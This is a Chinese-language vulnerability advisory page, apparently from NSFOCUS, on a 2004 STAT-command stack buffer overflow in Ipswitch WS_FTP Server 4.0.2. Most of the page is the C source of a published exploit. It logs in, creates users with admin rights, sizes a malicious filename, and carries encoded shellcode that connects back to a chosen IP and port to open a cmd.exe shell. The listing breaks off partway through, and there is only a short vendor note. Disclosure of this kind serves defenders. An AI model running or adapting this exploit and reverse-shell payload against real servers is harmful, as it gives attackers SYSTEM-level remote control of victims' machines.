安全研究

安全漏洞
Ipswitch WS_FTP STAT命令远程缓冲区溢出漏洞

发布日期:2004-03-23
更新日期:2004-03-29

受影响系统:
Ipswitch WS FTP Server 4.0.2.EVAL
描述:
Ipswitch WS_FTP Server是一款适用于Windows系统的FTP服务程序。

Ipswitch WS_FTP Server STAT命令实现存在问题,远程攻击者可以利用这个漏洞对服务程序进行缓冲区溢出攻击,可能以SYSTEM权限在系统上执行任意指令。

拥有写权限的用户可利用WS_FTP服务程序的STAT命令中存在一个缓冲区溢出而执行任意指令。当用户上传/下载一个文件并同时发送STAT命令(没有选项),WS_FTP服务器就会发送下载状态的211应答,包含FTP主机名,IP地址,用户名文件名和还有多少文件字节剩余,超长的文件名或FTP主机名/用户名可覆盖堆栈中512字节缓冲区,精心构建提交数据可能以SYSTEM权限在系统上执行任意指令。

<*来源:Hugh Mann (hughmann@hotmail.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=108006693812179&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Hugh Mann (hughmann@hotmail.com)提供了如下测试方法:

pswitch WS_FTP Server <= 4.0.2 RETR/STAT exploit
* (c)2004 Hugh Mann hughmann@hotmail.com
*
* This exploit has been tested with WS_FTP Server 4.0.2.EVAL, Windows XP SP1
*/

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
* Return addresses to JMP ESP instruction. Must contain bytes that are valid filename characters.
* See is_valid_filename_char().
*/
#if 1
const char* ret_addr = "\xD3\xD9\xE2\x77";    // advapi32.dll (08/29/2002), WinXP SP1
#else
// mswsock.dll is not loaded by WS_FTP Server, and I haven't investigated which DLL actually loads it
// so I don't use this possibly better return address.
const char* ret_addr = "\x3D\x40\xA5\x71";    // mswsock.dll (08/23/2001), WinXP SP1 and probably WinXP too
#endif

// Offset of return addr relative to start of vulnerable buffer
const buf_eip_offs = 0x214;        // WS_FTP Server 4.0.2.EVAL

#define DEF_PASSWORD "exploit"

#define MAXLINE 0x1000

static char inbuf[MAXLINE];
static unsigned inoffs = 0;
static char last_line[MAXLINE];
static int output_all = 0;
static int quite_you = 0;

void msg2(const char *format, ...)
{
    va_list args;
    va_start(args, format);
    vfprintf(stdout, format, args);
}

void msg(const char *format, ...)
{
    if (quite_you && output_all == 0)
        return;

    va_list args;
    va_start(args, format);
    vfprintf(stdout, format, args);
}

int isrd(SOCKET s)
{
    fd_set r;
    FD_ZERO(&r);
    FD_SET(s, &r);
    timeval t = {0, 0};
    int ret = select(1, &r, NULL, NULL, &t);
    if (ret < 0)
        return 0;
    else
        return ret != 0;
}

void print_all(const char* buf, int len = -1)
{
    if (len == -1)
        len = (int)strlen(buf);

    for (int i = 0; i < len; i++)
        putc(buf[i], stdout);
}

int _recv(SOCKET s, char* buf, int len, int flags)
{
    int ret = recv(s, buf, len, flags);
    if (!output_all || ret < 0)
        return ret;

    print_all(buf, ret);
    return ret;
}

int get_line(SOCKET s, char* string, unsigned len)
{
    char* nl;
    while ((nl = (char*)memchr(inbuf, '\n', inoffs)) == NULL)
    {
        if (inoffs >= sizeof(inbuf))
        {
            msg("[-] Too long line\n");
            return 0;
        }
        int len = _recv(s, &inbuf[inoffs], sizeof(inbuf) - inoffs, 0);
        if (len <= 0)
        {
            msg("[-] Error receiving data\n");
            return 0;
        }

        inoffs += len;
    }

    strncpy(last_line, inbuf, sizeof(last_line));
    last_line[sizeof(last_line)-1] = 0;

    unsigned nlidx = (unsigned)(ULONG_PTR)(nl - inbuf);
    if (nlidx >= len)
    {
        msg("[-] Too small caller buffer\n");
        return 0;
    }
    memcpy(string, inbuf, nlidx);
    string[nlidx] = 0;
    if (nlidx > 0 && string[nlidx-1] == '\r')
        string[nlidx-1] = 0;

    if (nlidx + 1 >= inoffs)
        inoffs = 0;
    else
    {
        memcpy(inbuf, &inbuf[nlidx+1], inoffs - (nlidx + 1));
        inoffs -= nlidx + 1;
    }

    return 1;
}

int ignorerd(SOCKET s)
{
    inoffs = 0;

    while (1)
    {
        if (!isrd(s))
            return 1;
        if (_recv(s, inbuf, sizeof(inbuf), 0) < 0)
            return 0;
    }
}

int get_reply_code(SOCKET s, int (*func)(void* data, char* line) = NULL, void* data = NULL)
{
    char line[MAXLINE];

    if (!get_line(s, line, sizeof(line)))
    {
        msg("[-] Could not get status code\n");
        return -1;
    }
    if (func)
        func(data, line);

    char c = line[3];
    line[3] = 0;
    int code;
    if (!(c == ' ' || c == '-') || strlen(line) != 3 || !(code = atoi(line)))
    {
        msg("[-] Weird reply\n");
        return -1;
    }

    char endline[4];
    memcpy(endline, line, 3);
    endline[3] = ' ';
    if (c == '-')
    {
        while (1)
        {
            if (!get_line(s, line, sizeof(line)))
            {
                msg("[-] Could not get next line\n");
                return -1;
            }
            if (func)
                func(data, line);
            if (!memcmp(line, endline, sizeof(endline)))
                break;
        }
    }

    return code;
}

int sendb(SOCKET s, const char* buf, int len, int flags = 0)
{
    while (len)
    {
        int l = send(s, buf, len, flags);
        if (l <= 0)
            break;
        len -= l;
        buf += l;
    }

    return len == 0;
}

int sends(SOCKET s, const char* buf, int flags = 0)
{
    return sendb(s, buf, (int)strlen(buf), flags);
}

int _send_cmd(SOCKET s, const char* fmt, va_list args, int need_reply)
{
    char buf[MAXLINE];
    buf[sizeof(buf)-1] = 0;
    if (_vsnprintf(buf, sizeof(buf), fmt, args) < 0 || buf[sizeof(buf)-1] != 0)
    {
        msg("[-] Buffer overflow\n");
        return -1;
    }

    if (output_all)
        print_all(buf);

    if (!ignorerd(s) || !sends(s, buf))
        return -1;

    if (need_reply)
        return get_reply_code(s);

    return 0;
}

int send_cmd(SOCKET s, const char* fmt, ...)
{
    va_list args;
    va_start(args, fmt);
    return _send_cmd(s, fmt, args, 1);
}

int send_cmd2(SOCKET s, const char* fmt, ...)
{
    va_list args;
    va_start(args, fmt);
    return _send_cmd(s, fmt, args, 0);
}

int add_bytes(void* dst, int& dstoffs, int dstlen, const void* src, int srclen)
{
    if (dstoffs < 0 || dstoffs + srclen > dstlen || dstoffs + srclen < dstoffs)
    {
        msg("[-] Buffer overflow ;)\n");
        return 0;
    }

    memcpy((char*)dst+dstoffs, src, srclen);
    dstoffs += srclen;
    return 1;
}

int check_invd_bytes(const char* name, const void* buf, int buflen, int (*chkchar)(char c))
{
    const char* b = (const char*)buf;

    for (int i = 0; i < buflen; i++)
    {
        if (!chkchar(b[i]))
        {
            msg("[-] %s[%u] (%02X) is an invalid character\n", name, i, (unsigned char)b[i]);
            return 0;
        }
    }

    return 1;
}

int enc_byte(char& c, char& k, int (*chkchar)(char c))
{
    for (int i = 0; i < 0x100; i++)
    {
        if (!chkchar(c ^ i) || !chkchar(i))
            continue;

        c ^= i;
        k = i;
        return 1;
    }

    msg("[-] Could not find encryption key for byte %02X\n", c);
    return 0;
}

int get_enc_key(char* buf, int size, int offs, int step, int (*chkchar)(char c), int ignore1 = -1, int ignore2 = -1)
{
    for (int i = 0; i < 0x100; i++)
    {
        if (!chkchar(i))
            continue;

        for (int j = offs; j < size; j += step)
        {
            if (ignore1 != -1 && (j >= ignore1 && j <= ignore2))
                continue;    // These bytes aren't encrypted
            if (!chkchar(buf[j] ^ i))
                break;
        }
        if (j < size)
            continue;

        return i;
    }

    msg("[-] Could not find an encryption key\n");
    return -1;
}

int login(SOCKET s, const char* username, const char* userpass)
{
    msg("[+] Logging in as %s...\n", username);
    int code;
    if ((code = send_cmd(s, "USER %s\r\n", username)) < 0)
    {
        msg("[-] Failed to log in #1\n");
        return 0;
    }

    if (code == 331)
    {
        if ((code = send_cmd(s, "PASS %s\r\n", userpass)) < 0)
        {
            msg("[-] Failed to log in #2\n");
            return 0;
        }
    }

    if (code != 230)
    {
        msg("[-] Failed to log in. Code %3u\n", code);
        return 0;
    }

    msg("[+] Logged in\n");
    return 1;
}

class xuser
{
public:
    xuser() : s(INVALID_SOCKET), flags(0) {}
    ~xuser() {close();}
    int is_host_admin() const {return flags & HOST_ADMIN;}
    int is_syst_admin() const {return flags & SYST_ADMIN;}
    int is_admin() const {return is_host_admin() || is_syst_admin();}
    int init(unsigned long ip, unsigned short port, const char* username, const char* userpass);
    void close() {if (s >= 0) closesocket(s); s = INVALID_SOCKET;}
    SOCKET sock() const {return s;}
    int create_user(const char* newname);
    int delete_user(const char* username);
    int exploit(unsigned long sip, unsigned short sport);

protected:
    int get_stat_indexes(int& indx_username, int& indx_filename);
    int change_name(int namelen);

    enum
    {
        HOST_ADMIN = 0x00000100,
        SYST_ADMIN = 0x00000200,
    };
    int flags;
    SOCKET s;
    char hostname[260];
    char username[260];
    unsigned long ip;
    unsigned short port;
};

/*
* XAUT code tested with WS_FTP Server 4.0.2.EVAL
*/
#define XAUT_2_KEY 0x49327576

int xaut_encrypt(char* dst, const char* src, int len, unsigned long key)
{
    unsigned char keybuf[0x80*4];

    for (int i = 0; i < sizeof(keybuf)/4; i++)
    {
        keybuf[i*4+0] = (char)key;
        keybuf[i*4+1] = (char)(key >> 8);
        keybuf[i*4+2] = (char)(key >> 16);
        keybuf[i*4+3] = (char)(key >> 24);
    }

    for (int i = 0; i < len; i++)
    {
        if (i >= sizeof(keybuf))
        {
            msg("[-] xaut_encrypt: Too long input buffer\n");
            return 0;
        }
        *dst++ = *src++ ^ keybuf[i];
    }

    return 1;
}

char* xaut_unpack(char* src, int len, int delete_it)
{
    char* dst = new char[len*2 + 1];

    for (int i = 0; i < len; i++)
    {
        dst[i*2+0] = ((src[i] >> 4) & 0x0F) + 0x35;
        dst[i*2+1] = (src[i] & 0x0F) + 0x31;
    }
    dst[i*2] = 0;

    if (delete_it)
        delete src;

    return dst;
}

int xaut_login(SOCKET s, int d, const char* username, const char* password, unsigned long key)
{
    msg("[+] Logging in [XAUT] as %s...\n", username);
    int ret = 0;
    char* dst = NULL;
    __try
    {
        const char* middle = ":";
        dst = new char[strlen(username) + strlen(middle) + strlen(password) + 1];
        strcpy(dst, username);
        strcat(dst, middle);
        strcat(dst, password);
        int len = (int)strlen(dst);
        if ((d == 2 && !xaut_encrypt(dst, dst, len, XAUT_2_KEY)) || !xaut_encrypt(dst, dst, len, key))
            __leave;

        dst = xaut_unpack(dst, len, 1);
        if (send_cmd(s, "XAUT %d %s\r\n", d, dst) != 230)
            __leave;

        ret = 1;
    }
    __finally
    {
        delete dst;
    }

    if (!ret)
        msg("[-] Failed to log in\n");
    else
        msg("[+] Logged in\n");

    return ret;
}

int get_uflg(SOCKET s, int& uflg)
{
    uflg = 0x01000000;    // anon

    // Will fail for anonymous users
    if (send_cmd(s, "SITE UFLG\r\n") != 200)
        return 1;

    if (strlen(last_line) <= 4)
        return 0;
    uflg = atol(last_line+4);
    return 1;
}

struct my_data
{
    unsigned long key;
    int done_that;
    char hostname[256];
};

int line_callback(void* data, char* line)
{
    my_data* m = (my_data*)data;
    if (m->done_that)
        return 1;

    /*
     * Looking for a line similar to:
     *
     *    "220-FTP_HOSTNAME X2 WS_FTP Server 4.0.2.EVAL (41541732)\r\n"
     */
    char* s, *e;
    if (strncmp(line, "220", 3) || !strstr(line, "WS_FTP Server") ||
        (s = strrchr(line, '(')) == NULL || (e = strchr(s, ')')) == NULL)
        return 1;

    char buf[0x10];
    int len = (int)(ULONG_PTR)(e - (s+1));
    if (len >= sizeof(buf) || len > 10)
        return 1;
    memcpy(buf, s+1, len);
    buf[len] = 0;
    for (int i = 0; i < len; i++)
    {
        if (!isdigit((unsigned char)buf[i]))
            return 1;
    }
    m->key = atol(buf);

    for (int i = 4, len = (int)strlen(line); i < len; i++)
    {
        if (i-4 >= sizeof(m->hostname))
            return 1;
        m->hostname[i-4] = line[i];
        if (line[i] == ' ')
            break;
    }
    m->hostname[i-4] = 0;
    if (m->hostname[0] == 0)
        return 1;

    m->done_that = 1;
    return 1;
}

int xuser::init(unsigned long _ip, unsigned short _port, const char* _username, const char* userpass)
{
    ip = _ip;
    port = _port;
    close();

    strncpy(username, _username, sizeof(username));
    if (username[sizeof(username)-1] != 0)
    {
        msg("[-] Username too long\n");
        return 0;
    }

    sockaddr_in saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.sin_family = AF_INET;
    saddr.sin_port = htons(port);
    saddr.sin_addr.s_addr = htonl(ip);

    in_addr a; a.s_addr = htonl(ip);
    msg("[+] Connecting to %s:%u...\n", inet_ntoa(a), port);
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s < 0 || connect(s, (sockaddr*)&saddr, sizeof(saddr)) < 0)
    {
        msg("[-] Could not connect\n");
        return 0;
    }
    msg("[+] Connected\n");

    my_data m;
    memset(&m, 0, sizeof(m));
    int code = get_reply_code(s, line_callback, &m);
    if (code != 220)
    {
        msg("[-] Got reply %3u\n", code);
        return 0;
    }
    else if (!m.done_that)
    {
        msg("[-] Could not find XAUT key or host name => Not a WS_FTP Server\n");
        return 0;
    }

    strncpy(hostname, m.hostname, sizeof(hostname));
    hostname[sizeof(hostname)-1] = 0;

    if (!xaut_login(s, 0, username, userpass, m.key) && !login(s, username, userpass))
        return 0;

    // Don't want UTF8 conversions
    if (send_cmd(s, "LANG en\r\n") != 200)
    {
        msg("[-] Apparently they don't understand the english language\n");
        return 0;
    }

    if (send_cmd(s, "NOOP step into the light\r\n") != 200)
    {
        msg("[-] C4n't k1ll 4 z0mbie\n");
        return 0;
    }

    if (!get_uflg(s, flags))
        return 0;

    return 1;
}

int xuser::delete_user(const char* username)
{
    int magic = 0xF;    // Delete user dir
    if (is_syst_admin())
        return send_cmd(s, "SITE DELU %s\t%s\t%u\r\n", hostname, username, magic) == 220;
    else if (is_host_admin())
        return send_cmd(s, "SITE DELU %s\t%u\r\n", username, magic) == 220;

    msg("[-] Can't delete user %s\n", username);
    return 0;
}

int xuser::create_user(const char* newname)
{
    if (!is_admin())
    {
        msg("[-] Could not create user\n");
        return 0;
    }

    char* homedir = "";
    int flags = 0;
    char* password = DEF_PASSWORD;
    int code = -1;
    if ((is_syst_admin() && (code = send_cmd(s, "SITE SETU %s\t%s\t%s\t%s\t%s\t%u\t%u\t%u\r\n",    hostname, newname, "", homedir, password, 0, 0, flags | 0x200)) != 220) ||
        (is_host_admin() && (code = send_cmd(s, "SITE SETU %s\t%s\t%s\t%s\t%u\t%u\t%u\r\n",    newname, "", homedir, password, 0, 0, flags | 0x100)) != 220))
    {
        msg("[-] Could not create user. Code %3u\n", code);
        return 0;
    }

    return 1;
}

SOCKET get_data_sock(SOCKET s, const char* filename, const char* cmd)
{
    SOCKET sd = INVALID_SOCKET;

    int error = 1;
    __try
    {
        sockaddr_in saddr;
        int len = sizeof(saddr);
        if (getsockname(s, (sockaddr*)&saddr, &len) < 0 || len != sizeof(saddr) ||
            (sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
            __leave;

        sockaddr_in daddr;
        memset(&daddr, 0, sizeof(daddr));
        daddr.sin_family = AF_INET;
        daddr.sin_port = 0;
        daddr.sin_addr.s_addr = saddr.sin_addr.s_addr;
        len = sizeof(daddr);
        if (bind(sd, (sockaddr*)&daddr, sizeof(daddr)) < 0 || listen(sd, 1) < 0 ||
            getsockname(sd, (sockaddr*)&daddr, &len) < 0 || len != sizeof(daddr))
            __leave;

        unsigned long ip = ntohl(daddr.sin_addr.s_addr);
        unsigned short port = ntohs(daddr.sin_port);
        if (send_cmd(s, "PORT %u,%u,%u,%u,%u,%u\r\n",
            (unsigned char)(ip >> 24),
            (unsigned char)(ip >> 16),
            (unsigned char)(ip >> 8),
            (unsigned char)ip,
            (unsigned char)(port >> 8),
            (unsigned char)port) != 200)
            __leave;

        if (send_cmd2(s, "%s %s\r\n", cmd, filename) < 0)
            __leave;

        msg("[+] Waiting for server to connect...\n");
        SOCKET sa;
        sockaddr_in aaddr;
        len = sizeof(aaddr);
        if ((sa = accept(sd, (sockaddr*)&aaddr, &len)) < 0)
            __leave;
        closesocket(sd);
        sd = sa;

        if (get_reply_code(s) != 150)
            __leave;

        error = 0;
    }
    __finally
    {
        if (error)
        {
            msg("[-] Could not create data connection, %u\n", GetLastError());
            closesocket(sd);
            sd = INVALID_SOCKET;
        }
        else
            msg("[+] Server connected\n");
    }

    return sd;
}

int create_file(SOCKET s, const char* tmpname, unsigned size = 1)
{
    int ret = 0;

    SOCKET sd = INVALID_SOCKET;
    __try
    {
        if (size > 1 && send_cmd(s, "REST %u\r\n", size-1) != 350)
            __leave;
        if ((sd = get_data_sock(s, tmpname, "STOR")) < 0)
            __leave;
        if (size && send(sd, "A", 1, 0) != 1)
            __leave;

        ret = 1;
    }
    __finally
    {
        if (sd >= 0)
            closesocket(sd);
    }

    if (ret && get_reply_code(s) != 226)
        ret = 0;

    return ret;
}

struct si_data
{
    si_data() : size(0), failed(0) {}
    int size;
    char stat_banner[0x1000];
    int failed;
};

int si_line_callback(void* data, char* _line)
{
    const char* line = last_line;    // This one contains \r\n
    si_data* m = (si_data*)data;
    if (m->failed)
        return 1;

    int len = (int)strlen(line);
    if (m->size + len  >= sizeof(m->stat_banner))
    {
        m->failed = 1;
        return 1;
    }
    memcpy(&m->stat_banner[m->size], line, len);

    const char* string = "        211-";
    if (m->size == 0 && !strncmp(_line, string, strlen(string)))
        strcpy(_line, _line + strlen(string) - 4);

    m->size += len;
    m->stat_banner[m->size] = 0;
    return 1;
}

int xuser::get_stat_indexes(int& indx_username, int& indx_filename)
{
    const char* tmpname = "_xploit.mp_";
    if (!create_file(s, tmpname))
        return 0;

    si_data m;
    int ret = 0;
    SOCKET sd = INVALID_SOCKET;
    __try
    {
        if ((sd = get_data_sock(s, tmpname, "RETR")) < 0)
            __leave;
        if (send_cmd2(s, "STAT\r\n") < 0 || get_reply_code(s, si_line_callback, &m) != 211)
            __leave;
        if (send_cmd(s, "ABOR\r\n") != 226 || get_reply_code(s) < 0)
            __leave;
        if (send_cmd(s, "DELE %s\r\n", tmpname) < 0)
            __leave;
        if (m.failed)
            __leave;

        const char* name_string = "Logged in as ";
        const char* fname_string = "Sending file ";
        const char* n = strstr(m.stat_banner, name_string);
        const char* f = strstr(m.stat_banner, fname_string);
        if (!n || !f)
            __leave;
        n += strlen(name_string);
        f += strlen(fname_string);
        indx_username = (int)(UINT_PTR)(n - m.stat_banner);
        indx_filename = (int)(UINT_PTR)(f - m.stat_banner);
        if (indx_username > indx_filename)    // Shellcode is in filename
            __leave;
        if (strncmp(n, username, strlen(username)) ||
            strncmp(f, tmpname, strlen(tmpname)))
            __leave;

        ret = 1;
    }
    __finally
    {
        if (sd >= 0)
            closesocket(sd);
    }

    if (!ret)
        msg("[-] Failed to get indexes\n");

    return ret;
}

/*
* This is the filename which will find the shellcode. The return address,
* possibly a '.', and a JMP BACK instruction will be appended to this buffer.
*
* NOTE: This code will probably only work with WS_FTP Server 4.0.2.EVAL because
*         it uses a fixed offset to the "this" pointer on the stack. It's possible
*         to make it more generic but this is not a critical vulnerability so you
*         do the rest.
*/
const unsigned int shlc1_offs_encstart1 = 0x0000001A;
const unsigned int shlc1_offs_encend1 = 0x00000035;
const unsigned int shlc1_offs_encstart2 = 0x0000003A;
const unsigned int shlc1_offs_encend2 = 0x0000003A;
const unsigned int shlc1_offs_enckey = 0x00000014;
const unsigned int shlc1_offs_magic = 0x00000024;
unsigned char shlc1_code[] =
"\x33\xDB\xFE\xC7\x2B\xE3\xEB\x2D\x5D\x33\xC9\xB1\x48\x80\xE9\x40"
"\x81\x74\x8D\xDC\x55\x55\x55\x55\xE2\xF6\x8B\xBC\x24\x10\xFC\xFF"
"\xFF\x33\xD2\xB8\x7E\x09\x7D\x20\x57\xAF\x75\x05\xAF\x75\x02\xFF"
"\xE7\x5F\x47\xEB\xEC\xE8\xCE\xFF\xFF\xFF";

/*
* This is the shellcode
*/
const unsigned int shlc2_offs_encstart = 0x0000002B;
const unsigned int shlc2_offs_encend = 0x000001B8;
const unsigned int shlc2_offs_enckey = 0x00000025;
unsigned char shlc2_code[] =
"\xEB\x16\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56"
"\x34\x12\x5B\x53\x83\xEB\x1D\xC3\xE8\xF5\xFF\xFF\xFF\x33\xC9\xB1"
"\x64\x81\x74\x8B\x27\x55\x55\x55\x55\xE2\xF6\xFC\x8B\x43\x0A\x31"
"\x43\x02\x8B\x43\x0E\x31\x43\x06\x89\x4B\x0A\x89\x4B\x0E\x64\x8B"
"\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\xAD\x8B\x68\x08\x8D"
"\x83\x67\x01\x00\x00\x55\xE8\xB7\x00\x00\x00\x68\x33\x32\x00\x00"
"\x68\x77\x73\x32\x5F\x54\xFF\xD0\x96\x8D\x83\x74\x01\x00\x00\x56"
"\xE8\x9D\x00\x00\x00\x81\xEC\x90\x01\x00\x00\x54\x68\x01\x01\x00"
"\x00\xFF\xD0\x8D\x83\x7F\x01\x00\x00\x56\xE8\x83\x00\x00\x00\x33"
"\xC9\x51\x51\x51\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x97\x8D\x83\x8A"
"\x01\x00\x00\x56\xE8\x69\x00\x00\x00\x33\xC9\x51\x51\x51\x51\x6A"
"\x10\x8D\x4B\x02\x51\x57\xFF\xD0\xB9\x54\x00\x00\x00\x2B\xE1\x88"
"\x6C\x0C\xFF\xE2\xFA\xC6\x44\x24\x10\x44\x41\x88\x4C\x24\x3C\x88"
"\x4C\x24\x3D\x89\x7C\x24\x48\x89\x7C\x24\x4C\x89\x7C\x24\x50\x49"
"\x8D\x44\x24\x10\x54\x50\x51\x51\x51\x6A\x01\x51\x51\x8D\x83\xA4"
"\x01\x00\x00\x50\x51\x8D\x83\x95\x01\x00\x00\x55\xE8\x11\x00\x00"
"\x00\x59\xFF\xD0\x8D\x83\xAC\x01\x00\x00\x55\xE8\x02\x00\x00\x00"
"\xFF\xD0\x60\x8B\x7C\x24\x24\x8D\x6F\x78\x03\x6F\x3C\x8B\x6D\x00"
"\x03\xEF\x83\xC9\xFF\x41\x3B\x4D\x18\x72\x0B\x64\x89\x0D\x00\x00"
"\x00\x00\x8B\xE1\xFF\xE4\x8B\x5D\x20\x03\xDF\x8B\x1C\x8B\x03\xDF"
"\x8B\x74\x24\x1C\xAC\x38\x03\x75\xDC\x43\x84\xC0\x75\xF6\x8B\x5D"
"\x24\x03\xDF\x0F\xB7\x0C\x4B\x8B\x5D\x1C\x03\xDF\x8B\x0C\x8B\x03"
"\xCF\x89\x4C\x24\x1C\x61\xC3\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61"
"\x72\x79\x41\x00\x57\x53\x41\x53\x74\x61\x72\x74\x75\x70\x00\x57"
"\x53\x41\x53\x6F\x63\x6B\x65\x74\x41\x00\x57\x53\x41\x43\x6F\x6E"
"\x6E\x65\x63\x74\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65"
"\x73\x73\x41\x00\x63\x6D\x64\x2E\x65\x78\x65\x00\x45\x78\x69\x74"
"\x50\x72\x6F\x63\x65\x73\x73\x00";

int is_valid_shlc2(char c)
{
    return c != 0;
}

// Tested with NTFS only. FAT with long filenames may differ
int is_valid_filename_char(char _c)
{
    unsigned char c = _c;
    /*
     * NTFS: Not allowed characters in filenames/directories:
     *        0x00-0x1F, 0x22("), 0x2A(*), 0x2F(/), 0x3A(:), 0x3C(<),
     *        0x3E(>), 0x3F(?), 0x5C(\), 0x7C(|)
     */
    return (c <= 0x1F || c == 0x22 || c == 0x2A || c == 0x2F || c == 0x3A || c == 0x3C ||
            c == 0x3E || c == 0x3F || c == 0x5C || c == 0x7C) == 0;
}

int xuser::change_name(int namelen)
{
    char newname[257];
    if (namelen <= 0 || namelen >= sizeof(newname))
    {
        msg("[-] Invalid namelen\n");
        return 0;
    }
    if (!is_admin())
    {
        msg("[-] Can't change name since you're not an admin\n");
        return 0;
    }

    int ret = 0;
    __try
    {
        msg("[+] Creating new user\n");
        memset(newname, 'A', namelen);
        newname[namelen] = 0;
        if (!create_user(newname))
            __leave;
        if (!init(ip, port, newname, DEF_PASSWORD))
            __leave;

        ret = 1;
    }
    __finally
    {
    }

    return ret;
}

int xuser::exploit(unsigned long sip, unsigned short sport)
{
    int ret = 0;
    char* shellcode = NULL;
    char* shlcname = NULL;
    char* badbuf = NULL;
    SOCKET sd = INVALID_SOCKET;
    __try
    {
        /*
         * Encrypt the shellcode
         */
        const shellcode_len = sizeof(shlc2_code)-1;
        shellcode = new char[shellcode_len+1];
        memcpy(shellcode, shlc2_code, shellcode_len);
        shellcode[shellcode_len] = 0;

        shellcode[2] = (char)2;
        shellcode[3] = (char)(2 >> 8);
        shellcode[4] = (char)(sport >> 8);
        shellcode[5] = (char)sport;
        shellcode[6] = (char)(sip >> 24);
        shellcode[7] = (char)(sip >> 16);
        shellcode[8] = (char)(sip >> 8);
        shellcode[9] = (char)sip;
        for (int i = 0; i < 8; i++)
        {
            if (!enc_byte(shellcode[2+i], shellcode[2+8+i], is_valid_shlc2))
                __leave;
        }

        for (int i = 0; i < 4; i++)
        {
            int k = get_enc_key(&shellcode[shlc2_offs_encstart], shlc2_offs_encend-shlc2_offs_encstart, i, 4, is_valid_shlc2);
            if (k < 0)
                __leave;
            shellcode[shlc2_offs_enckey+i] = k;
        }
        msg("[+] Shellcode encryption key = %02X%02X%02X%02X\n",
            (unsigned char)shellcode[shlc2_offs_enckey+3],
            (unsigned char)shellcode[shlc2_offs_enckey+2],
            (unsigned char)shellcode[shlc2_offs_enckey+1],
            (unsigned char)shellcode[shlc2_offs_enckey]);
        for (int i = 0; i < shlc2_offs_encend-shlc2_offs_encstart; i++)
            shellcode[shlc2_offs_encstart+i] ^= shellcode[shlc2_offs_enckey + i % 4];

        /*
         * Encrypt the filename
         */
        const shlcname_len = sizeof(shlc1_code)-1;
        shlcname = new char[shlcname_len];
        memcpy(shlcname, shlc1_code, shlcname_len);

        for (int i = 0; i < 4; i++)
        {
            const int tot_enc_size = shlc1_offs_encend2-shlc1_offs_encstart1 + 1;
            int k = get_enc_key(&shlcname[shlc1_offs_encstart1], tot_enc_size, i, 4, is_valid_filename_char, shlc1_offs_encend1, shlc1_offs_encstart2-1);
            if (k < 0)
                __leave;
            shlcname[shlc1_offs_enckey+i] = k;
        }
        msg("[+] shlcname encryption key = %02X%02X%02X%02X\n",
            (unsigned char)shlcname[shlc1_offs_enckey+3],
            (unsigned char)shlcname[shlc1_offs_enckey+2],
            (unsigned char)shlcname[shlc1_offs_enckey+1],
            (unsigned char)shlcname[shlc1_offs_enckey]);
        const int istrt = shlc1_offs_encstart1;
        for (int i = istrt; i < shlcname_len; i++)
        {
            if (i >= shlc1_offs_encstart1 && i < shlc1_offs_encend1)
                shlcname[i] ^= shlcname[shlc1_offs_enckey + (i-istrt) % 4];
            else if (i >= shlc1_offs_encstart2 && i < shlc1_offs_encend2)
                shlcname[i] ^= shlcname[shlc1_offs_enckey + (i-istrt) % 4];
        }

        /*
         * Do some sanity checks
         */
        if (!check_invd_bytes("shlcname", shlcname, shlcname_len, is_valid_filename_char) ||
            !check_invd_bytes("shellcode", shellcode, shellcode_len, is_valid_shlc2) ||
            !check_invd_bytes("ret_addr", ret_addr, 4, is_valid_filename_char) ||
            !check_invd_bytes("magic", &shlc1_code[shlc1_offs_magic], 4, is_valid_shlc2))
            __leave;

        /*
         * Read some data so we can build the right sized buffer.
         */
        int indx_username;
        int indx_filename;
        if (!get_stat_indexes(indx_username, indx_filename))
            __leave;

        const min_filename_len = shlcname_len + 4 + 2;    // 4 (ret addr) + 2 (JMP BACK)
        const max_filename_len = 256;
        const len_no_username = indx_filename - (int)strlen(username);

        const len1 = len_no_username + (int)strlen(username) + min_filename_len;
        const len2 = len_no_username + (int)strlen(username) + max_filename_len;
        const req_len = buf_eip_offs + 4 + 2;
        int extra_filename_len = 0;    // Must be = 0 (mod 2)
        if (len1 == req_len)
        {
            // Perfect
        }
        else if (len1 > req_len)
        {
            // Too long username!
            int newname_len = req_len - (len_no_username + min_filename_len);
            if (!change_name(newname_len))
                __leave;
        }
        else if (len1 < req_len)
        {
            if (len2 >= req_len)
            {
                // Can exploit it by changing size of filename
                extra_filename_len = max_filename_len - min_filename_len - (len2 - req_len);
                if (extra_filename_len % 2)
                {
                    msg("[-] Sorry, I assume extra_filename_len % 2 = 0\n");
                    __leave;
                }
            }
            else if (len2 < req_len)
            {
                // Too short user name. Must change username
                extra_filename_len = (max_filename_len - min_filename_len) & ~1;
                int newname_len = req_len - (len_no_username + min_filename_len + extra_filename_len);
                if (!change_name(newname_len))
                    __leave;
            }
            else
                __leave;    // Never happens
        }
        else
            __leave;    // Never happens

        const new_filename_len = min_filename_len + extra_filename_len;
        if (extra_filename_len < 0 || extra_filename_len % 2 ||
            new_filename_len <= 0 || new_filename_len > max_filename_len ||
            len_no_username + strlen(username) + new_filename_len != req_len)
        {
            msg("[-] This is a bug\n");
            __leave;
        }

        /*
         * Build the final filename buffer we'll send to the server
         */
        char jmp_back[2] = "\xEB";
        int back_len = shlcname_len + 4 + 2;
        if (back_len > 0x80)
        {
            msg("[-] Can't use JMP SHORT\n");
            __leave;
        }
        jmp_back[1] = -back_len;
        if (!check_invd_bytes("jmp_back", jmp_back, 2, is_valid_filename_char))
            __leave;

        badbuf = new char[new_filename_len+1];
        int tmpidx = 0;
        for (int i = 0; i < extra_filename_len/2; i++)
    &nb

建议:
厂商补丁:

Ipswitch
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.ipswitch.com/

浏览次数:4980
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障